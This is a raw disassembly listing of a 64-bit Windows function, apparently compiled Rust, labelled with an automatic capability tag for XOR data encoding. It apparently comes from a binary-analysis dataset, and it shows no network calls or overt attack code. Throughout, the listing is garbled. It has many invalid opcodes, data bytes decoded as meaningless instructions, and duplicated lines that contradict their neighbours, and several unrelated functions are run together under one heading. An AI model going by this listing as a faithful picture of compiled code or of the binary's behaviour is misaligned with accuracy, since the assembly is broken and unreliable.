Function at 0x140092840
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x228
movaps xmmword [rsp + 0x210], xmm6
mov rdi, r8
mov rbx, rdx
mov r12, rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
lea r14, [rsp + 0x150]
lea rsi, [0x140163210]
xorps xmm6, xmm6
lea r15, [rsp + 0x90]
nop dword [rax]
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.1400d9f00
cmp dword [rsp + 0x150], 3
jne 0x1400038c6
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
movups xmmword [rsp + 0xa8], xmm6
mov rcx, r15
call fcn.1400f7560
mov ecx, 5
call fcn.1400edc80
cmp dword [rsp + 0x150], 3
jne 0x140003860
mov rcx, r14
call section..text
jmp 0x140003860
lea rdi, [rsp + 0x90]
lea rdx, [rsp + 0x150]
mov r8d, 0xc0
mov rcx, rdi
call fcn.140121660
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.1400e7280
mov r13, rdx
test rax, rax
je 0x140003a0a
mov rdi, r13
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x48]
call fcn.1400f7560
movabs rax, 0x8000000000000000
mov qword [r12], rax
and edi, 3
cmp edi, 1
jne 0x1400039ae
mov rsi, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140003954
mov rcx, rsi
call rax
dec r13
cmp qword [rdi + 8], 0
je 0x14000397b
cmp qword [rdi + 0x10], 0x11
jb 0x140003969
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x90]
call fcn.1400010c0
cmp dword [rsp + 0x150], 3
je 0x1400039c5
cmp qword [rsp + 0x28], 0
jne 0x1400039da
jmp 0x1400039ee
lea rcx, [rsp + 0x90]
call fcn.1400010c0
cmp dword [rsp + 0x150], 3
jne 0x1400039a4
lea rcx, [rsp + 0x150]
call section..text
cmp qword [rsp + 0x28], 0
je 0x1400039ee
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x210]
add rsp, 0x228
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x20], r12
test r13, r13
je 0x140003cd7
mov r15d, 0x2000
mov r12, qword [rsp + 0x38]
lea rdi, [0x1401917e8]
xor r14d, r14d
mov rax, qword [rsp + 0x28]
mov rcx, rax
or rcx, r12
jne 0x140003a80
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x28]
call fcn.1400e7280
mov r13, rdx
test rax, rax
jne case.0x14001acf9.2
test r13, r13
je 0x140003cd7
mov rax, qword [rsp + 0x28]
mov r12, qword [rsp + 0x38]
cmp r12, rax
je 0x140003a85
mov rbp, rax
jmp 0x140003af9
cmp r12, rax
jne 0x140003a70
cmp rax, 0xffffffffffffffdf
ja 0x140003d2a
lea rbp, [rax + 0x20]
lea rcx, [rax + rax]
cmp rcx, rbp
cmova rbp, rcx
test rax, rax
je 0x140003ab9
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x58], rax
mov eax, 1
jmp 0x140003abb
xor eax, eax
mov rdx, rbp
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x78]
mov r8, rbp
lea r9, [rsp + 0x48]
call fcn.140043c20
cmp dword [rsp + 0x78], 1
je 0x140003d2a
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
sub rbp, r12
add r12, qword [rsp + 0x30]
cmp rbp, r15
mov rbx, r15
cmovb rbx, rbp
mov r8, rbx
sub r8, r14
add r14, r12
mov rcx, r14
xor edx, edx
call fcn.140121d00
lea rcx, [rsp + 0x90]
mov rdx, r12
mov r8, rbx
call fcn.140075aa0
mov r13, rdx
test rax, rax
je 0x140003c3d
test r13, r13
je 0x140003cd7
mov eax, r13d
and eax, 3
lea rcx, [0x1401917d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r13 + 0x10], 0x23
je 0x140003bfa
jmp case.0x14001acf9.2
cmp byte [r13 + 0xf], 0x23
jne case.0x14001acf9.2
mov r8, qword [r13 - 1]
mov r14, qword [r13 + 7]
mov rax, qword [r14]
test rax, rax
je 0x140003b96
mov rcx, r8
mov qword [rsp + 0x40], r8
call rax
mov r8, qword [rsp + 0x40]
dec r13
cmp qword [r14 + 8], 0
je 0x140003ccb
cmp qword [r14 + 0x10], 0x11
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jb 0x140003bb6
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call r14
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call r14
jmp 0x140003bfa
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x140003bfa
jmp case.0x14001acf9.2
push rax
add dword [rax], eax
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
cmp byte [rdx + 0x10], 0x23
jne case.0x140003c27.2
lea rcx, [rsp + 0x90]
mov rdx, r12
mov r8, rbx
call fcn.140075aa0
test rax, rax
je 0x140003c3a
test rdx, rdx
je 0x140003cd7
add byte [rax], al
add byte [rax], al
mov eax, edx
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x140003bfa
jmp case.0x140003c27.2
mov r13, rdx
cmp rbx, r13
jb 0x140003d41
test r13, r13
je 0x140003cd7
mov r12, qword [rsp + 0x38]
add r12, r13
lea rax, [r15 + r15]
test r15, r15
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
cmp rbp, r15
cmovb rax, r15
sub rbx, r13
mov qword [rsp + 0x38], r12
cmove r15, rax
mov r14, rbx
mov rax, qword [rsp + 0x28]
mov rcx, rax
mov ecx, eax
mov ecx, eax
or rcx, r12
jne 0x140003a80
jmp 0x140003a3a
cmp byte [rdx + 0xf], 0x23
jne case.0x140003c27.2
mov r13, rdx
dec r13
mov r8, qword [rdx - 1]
mov r14, qword [rdx + 7]
mov rax, qword [r14]
test rax, rax
je 0x140003cc0
mov rcx, r8
mov qword [rsp + 0x40], r8
call rax
mov r8, qword [rsp + 0x40]
cmp qword [r14 + 8], 0
jne 0x140003ba4
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140003bc2
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
lea rcx, [rsp + 0x90]
call fcn.1400010c0
cmp dword [rsp + 0x150], 3
jne 0x1400039ee
lea rcx, [rsp + 0x150]
call section..text
jmp 0x1400039ee
mov word [rax + rdx*2], fs
add dword [rax], eax
add al, ch
jmp 0x140003ce5
mov rdi, rdx
mov r13, rdx
mov r12, qword [rsp + 0x20]
jmp 0x140003900
movabs r13, 0x2600000003
mov rdi, r13
mov r12, qword [rsp + 0x20]
jmp 0x140003900
lea rcx, str.assertion_failed:_filled___self.buf.init_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_srcio_borrowed_buf.rs
lea r8, [0x140163428]
mov edx, 0x29
call fcn.140122660
int3
invalid
movzx eax, byte [rbp + r14]
mov byte [rsp + 0x2f], al
invalid
cmp rax, 0x22
ja 0x140008270
invalid
movsxd rcx, dword [r15 + rax*4]
add rcx, r15
jmp rcx
invalid
fadd dword [rcx]
add byte [rax], al
nop dword [rax]
cmp eax, 0x5c
jne 0x14000829b
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x78], rax
lea rax, [fcn.14000d820]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
lea rax, [0x14015b488]
jmp 0x1400082cb
lea ecx, [rax - 0x20]
cmp cl, 0x5f
jae 0x140008372
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
lea rax, [fcn.14000d820]
mov qword [rsp + 0x80], rax
lea rax, [0x14018eb28]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x40]
call fcn.140009870
adc eax, 0xc0840000
adc eax, 0xc0840000
je 0x140008420
jmp 0x140008441
mov r8d, 2
mov rcx, rsi
lea rdx, [0x14015b484]
call r13
test al, al
je 0x140008420
jmp 0x140008441
mov r8d, 2
mov rcx, rsi
lea rdx, [0x14015b486]
call r13
test al, al
je 0x140008420
jmp 0x140008441
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x30], rax
lea rax, [0x14000e9c0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
movabs rax, 0x800000020
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 3
lea rax, [0x14015b4a0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x78]
call fcn.140009870
test al, al
jne 0x140008441
nop
inc r14
cmp r12, r14
jne 0x140008230
lea rdx, str.___cannot_be_set_to_0
mov r8d, 1
mov rcx, rsi
call r13
mov ebx, eax
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
loop 0x140008bfc
mov r9d, 0x110000
mov ecx, 0x110000
mov r8d, 0x2b
cmove r8d, r9d
ror dword [rax + 1], 0xf2
ror dword [rax + 1], 0xf2
test al, 4
je 0x140008c69
xor r11d, r11d
test rbx, rbx
je 0x140008c37
xor r9d, r9d
nop dword [rax]
xor r10d, r10d
cmp byte [rdi + r9], 0xc0
setge r10b
add r11, r10
inc r9
cmp rbx, r9
jne 0x140008c20
add rdx, r11
mov r13, qword [rbp + 0x70]
test byte [rcx], 1
jne 0x140008c74
mov r14, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, r12
jmp 0x140008cc7
xor edi, edi
mov r13, qword [rbp + 0x70]
test byte [rcx], 1
je 0x140008c43
mov dword [rbp], r8d
mov r15, qword [rcx + 8]
sub r15, rdx
jbe 0x140008cb0
test al, 8
jne 0x140008d0a
mov qword [rbp - 8], rsi
movzx esi, byte [rcx + 0x38]
lea rax, [0x140191884]
sbb byte [rax], al
movsxd rdx, dword [rax + rsi*4]
add rdx, rax
mov qword [rbp - 0x18], r13
jmp rdx
mov rsi, r15
xor r15d, r15d
jmp case.0x140008ca3.0
mov r14, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, r12
mov r8d, dword [rbp]
mov r9, rdi
call fcn.140009380
mov dil, 1
test al, al
je 0x140008ce9
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [r12 + 0x18]
mov rcx, r14
sbb byte [rcx + rcx*4 - 0xf], cl
mov rdx, r13
mov r8, rsi
add rsp, 0x48
invalid
pop rbx
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
invalid
loopne 0x140008c96
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
movzx eax, byte [rcx + 0x38]
mov byte [rbp + 7], al
mov byte [rcx + 0x38], 1
xor byte [r9 + 0x41c7f445], cl
xor byte [rax], dh
add byte [rax], al
add byte [rdi], cl
mov dh, 0x41
cmp byte [rax + 0x41c60745], cl
cmp byte [rcx], al
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov r14, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r14
mov r8d, dword [rbp]
mov r9, rdi
call fcn.140009380
mov dil, 1
test al, al
jne 0x140008cd6
inc r15
nop
dec r15
je 0x140008d6a
mov rcx, r12
mov edx, 0x30
call qword [r14 + 0x20]
test al, al
je 0x140008d50
jmp 0x140008cd6
mov rcx, r12
mov rdx, r13
mov r8, rsi
call qword [r14 + 0x18]
test al, al
jne 0x140008cd6
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x140008cd6
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc rsi
nop word cs:[rax + rax]
dec rsi
je 0x140008ddb
mov rcx, r12
mov edx, r14d
call qword [r13 + 0x20]
test al, al
je 0x140008dc0
mov dil, 1
jmp 0x140008cd6
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp]
mov r9, rdi
call fcn.140009380
mov dil, 1
test al, al
jne 0x140008cd6
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x140008cd6
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x140008e4d
mov rcx, r12
mov edx, r14d
call qword [r13 + 0x20]
inc rsi
test al, al
je 0x140008e30
jmp 0x140008e50
mov rsi, r15
cmp rsi, r15
setb dil
jmp 0x140008cd6
fninit
paddq mm1, mm5
invalid
mov esp, dword [rbp - 0x20]
ror byte [rdi], 0x84
invalid
add byte [rax - 0x77], cl
stc
test byte [rbx], dl
add dword [rax], eax
add byte [rcx + 0x1c883f0], cl
mov ebp, 0x1cf083c0
add cl, byte [rax - 0x73]
push rax
inc dh
test byte [r8], 0x66
mov word [rbp - 0xc], 0
mov r9d, esi
mov ecx, esi
lea edx, [rax - 2]
mov ecx, esi
add byte [rax], al
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x20], al
mov r11d, 9
mov ebx, 9
mov ebx, 9
mov qword [rbp + 0x10], r11
mov qword [rbp + 8], r8
mov qword [rbp], 1
mov al, 1
invalid
add dword [rcx - 0x7d], ecx
cli
or dword [rcx - 0x47], eax
or dword [rax], eax
add byte [rax], al
invalid
cmp r10, 9
mov r9d, 9
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0xf], cl
retf 0xc1f6
invalid
cmovb r9, r10
test cl, 1
rol dword [rcx], 0x4d
cmove ecx, ebx
rol dword [rcx], 0x4d
cmove ecx, ebx
mov qword [rbp - 8], r9
clc
mov rdx, rbp
mov qword [rbp - 0x58], rdx
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x50], rdx
lea rdx, [rbp - 8]
mov qword [rbp - 0x48], rdx
lea rdx, [rbp + 0x18]
mov qword [rbp - 0x40], rdx
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x38], rdx
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x30], rdx
cmp dword [rsi], 1
jne 0x14000e6dd
mov r15, qword [rsi + 8]
xor r12d, r12d
xor edx, edx
nop dword [rax]
xor r13d, r13d
cmp byte [r14 + rdx], 0xc0
setge r13b
add r12, r13
inc rdx
cmp rbx, rdx
jne 0x14000e5f0
add r12, rdi
test al, al
je 0x14000e69a
test r8, r8
je 0x14000e6a3
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x14000e66f
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x14000e6a8
add r12, 0x14
mov rdx, r12
jmp 0x14000e6ab
mov edx, 1
add rdx, r12
test cl, 1
cmovne r11, r10
inc r11
test r9, r9
cmove r11, r9
add r11, rdx
sub r15, r11
jbe 0x14000e6dd
movzx eax, byte [rsi + 0x38]
lea rcx, [0x140191944]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x14000e712
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.14000e7a0
nop
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r12, r15
xor r15d, r15d
jmp 0x14000e712
mov r12, r15
shr r12, 1
inc r15
shr r15, 1
mov rdi, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
dec r12
je 0x14000e734
mov rcx, rdi
mov edx, ebx
call qword [r14 + 0x20]
test al, al
je 0x14000e720
jmp 0x14000e744
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.14000e7a0
test al, al
je 0x14000e748
mov al, 1
jmp 0x14000e6e9
mov r12, r15
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x14000e77c
mov rcx, rdi
mov edx, ebx
call qword [r14 + 0x20]
inc rsi
test al, al
je 0x14000e760
jmp 0x14000e77f
mov rsi, r15
cmp rsi, r15
setb al
jmp 0x14000e6e9
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140009870
nop
add rsp, 0x68
ret
or byte [rcx + 0x39], cl
ror dword [rdi], 0x86
rol byte [rax], 1
add byte [rax], al
and r8b, 7
mov r10b, 0xff
inc dword [rcx + rcx*4 - 0x3f]
inc dword [rcx + rcx*4 - 0x3f]
shl r10b, cl
not r10b
mov rcx, qword [r11]
movzx r8d, byte [rcx + rax]
add al, 1
add al, 1
lea r11, [rax + 1]
mov qword [rdx + 8], r11
movzx edi, r10b
and r8d, edi
clc
clc
cmp r8b, dil
jne 0x14000f75a
cmp r9, r11
jbe 0x14000f7ce
movzx r11d, byte [rcx + rax + 1]
movzx ebx, byte [rcx + rax + 1]
lea r8, [rax + 2]
mov qword [rdx + 8], r8
mov ebx, r11d
and bl, 0x7f
add bl, r10b
movzx edi, bl
test r11b, r11b
js 0x14000f762
mov qword [rsi + 8], rdi
jle 0x14000f75e
xor eax, eax
jmp case.0x14001acf9.131
mov qword [rsi + 8], r8
xor eax, eax
jmp case.0x14001acf9.131
cmp r9, r8
jbe 0x14000f7ce
sal dword [rsi + 0x67], 0xf
mov dh, 0x4c
add dword [rdx], eax
movzx ecx, byte [rcx + rax + 2]
add rax, 3
mov qword [rdx + 8], rax
mov r8d, ecx
and r8d, 0x7f
shl r8d, 7
add rdi, r8
test cl, cl
jns 0x14000f752
cmp r9, rax
jbe 0x14000f7ce
mov rbx, rdx
mov rcx, rdx
call fcn.14001cb00
add byte [rax], al
add byte [rax], al
mov ecx, eax
and cl, 0x7f
movzx ecx, cl
shl ecx, 0xe
add rdi, rcx
test al, al
jns 0x14000f752
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp rax, qword [rbx + 8]
jbe 0x14000f7ce
invalid
sbb dword [rax - 0x77], ecx
fld1
rol dword [r8], cl
add byte [rax + rax*8 + 0x7f241d78], al
mov rcx, rbx
call fcn.14001cb00
test al, al
js 0x14000f7de
and al, 0x7f
movzx eax, al
mov dh, 0xc0
shl eax, 0x15
add rdi, rax
jmp 0x14000f752
mov byte [rsi + 1], 1
mov al, 1
mov byte [rsi], al
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov byte [rsi + 1], 0xb
jmp 0x14000f7d2
int3
invalid
adc al, byte es:[rax]
dec r8
lea rax, [0x140191954]
lea eax, [0x140191954]
lea eax, [0x140191954]
movsxd r8, dword [rax + r8*4]
add r8, rax
or byte [rcx + 1], 0xc0
jmp r8
mov r10b, 2
mov r8d, 1
xor r11d, r11d
jmp 0x14000ff48
jae 0x14000f863
add r8, qword [rdx + 0x10]
mov rax, qword [rdx]
xor r9d, r9d
cmp r8, rax
cmovae r9, rax
cmovae ecx, eax
cmovae ecx, eax
sub r8, r9
lea rax, [r8 + r8*8]
shl rax, 3
add rax, qword [rdx + 8]
or byte [rax - 0x77], cl
ret 0x8348
invalid
invalid
pop rsi
jmp 0x140011a60
and dword [rax], eax
invalid
or byte [rax - 0x77], cl
ret 0x8348
and dword [rax], eax
add dh, al
mov byte [rcx], 5
mov byte [rcx + 0x40], 8
add dword [0x148413a30], eax
add rsp, 0x60
pop rsi
ret
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add byte [rcx - 0x48], al
invalid
mov r8d, 0x37
jmp 0x14000ff40
and eax, 0xb9410012
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x2c
jmp 0x14000ff40
nop
invalid
add byte [rax], al
nop
invalid
and eax, 0xb9410012
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x26
jmp 0x14000ff40
jo 0x14000f8d4
add byte [rax], al
jo 0x14000f8d4
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
and eax, 0xb9410012
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x40
jmp 0x14000ff40
push rax
invalid
add byte [rax], al
push rax
invalid
and eax, 0xb9410012
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x32
add byte [rax], al
jmp 0x14000ff40
xor byte [rsi], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
lea eax, [0x140131e38]
lea eax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov r8d, 0x45
add byte [rax], al
jmp 0x14000ff40
lea eax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
mov ecx, 1
mov r8d, 0x23
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x25
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x18
jmp 0x14000ff40
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
cdq
and al, 0x12
add byte [rcx - 0x47], al
mov ecx, 1
mov ecx, 1
mov r8d, 0x22
jmp 0x14000ff40
add byte [rax], al
add cl, ch
nop
add eax, 0x570f0000
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov r8d, 3
jmp 0x14000ff40
add byte [rax], al
add cl, ch
jo 0x14000f9d3
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add byte [rcx - 0x48], al
sub eax, 0xe9000000
add byte [rax], al
add cl, ch
mov r8d, 0x2d
jmp 0x14000ff40
add byte [rax], al
add cl, ch
push rax
add eax, 0x570f0000
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r8d, 1
xor edx, edx
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
xor r10d, r10d
mov r9d, 1
jmp 0x14000ff48
mov ecx, 1
mov r8d, 0x21
add byte [rax], al
jmp 0x14000ff40
lea eax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
mov ecx, 1
mov r8d, 0x33
jmp 0x14000ff40
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
shl dword [rbx], 1
adc al, byte [rax]
shl dword [rbx], 1
adc al, byte [rax]
mov r9d, 1
mov ecx, 1
add byte [rax], al
mov r8d, 0x49
jmp 0x14000ff40
add al, 0
invalid
add al, 0
add byte [rcx - 0x4e], al
mov r10b, 7
mov edx, 0x190
jmp 0x14000fcec
and al, 0x20
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov r8d, 0x36
mov eax, 0x36
jmp 0x14000ff40
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
loopne case.0x14000e6d6.29
lea r8, [0x140144c95]
adc eax, dword [rax]
jmp 0x14000ff48
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x29
jmp 0x14000ff40
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x4c
jmp 0x14000ff40
add al, 0
invalid
add al, 0
add byte [rcx - 0x4e], al
mov r10b, 7
mov dl, 7
mov edx, 0x194
add byte [rax], al
jmp 0x14000fcec
add dword [rax], eax
add byte [rcx - 0x4e], al
mov r10b, 7
fadd dword [rcx]
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
and edx, dword [rdx]
add byte [rcx - 0x47], al
mov ecx, 1
and edx, dword [rdx]
add byte [rcx - 0x47], al
mov ecx, 1
mov ecx, 1
mov r8d, 0x16
mov eax, 0x16
jmp 0x14000ff40
or al, 4
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
cmc
and dl, byte [rdx]
add byte [rcx - 0x47], al
mov ecx, 1
mov ecx, 1
mov r8d, 0x15
jmp 0x14000ff40
in al, dx
add eax, dword [rax]
add byte [rax - 0x46], cl
movabs rdx, 0x202020202020202
jmp 0x14000fbd9
mov rcx, rax
call fcn.140012ba0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
mov rax, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r9, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
movzx r10d, byte [rsp + 0x58]
mov edx, dword [rsp + 0x59]
mov dword [rsp + 0x30], edx
mov edx, dword [rsp + 0x5c]
mov dword [rsp + 0x33], edx
mov r8d, 2
xor edx, edx
xor r11d, r11d
jmp 0x14000ff48
add dword [rax], eax
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
or esp, ebp
invalid
lea r8, [0x14018e0c8]
jmp 0x14000ff48
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rcx - 0x4e], al
mov r10b, 7
mov edx, 0xc8
jmp 0x14000fcec
movabs rdx, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
mov r10b, 3
mov r8, rdx
mov r11, rdx
jmp 0x14000ff48
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x1e
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
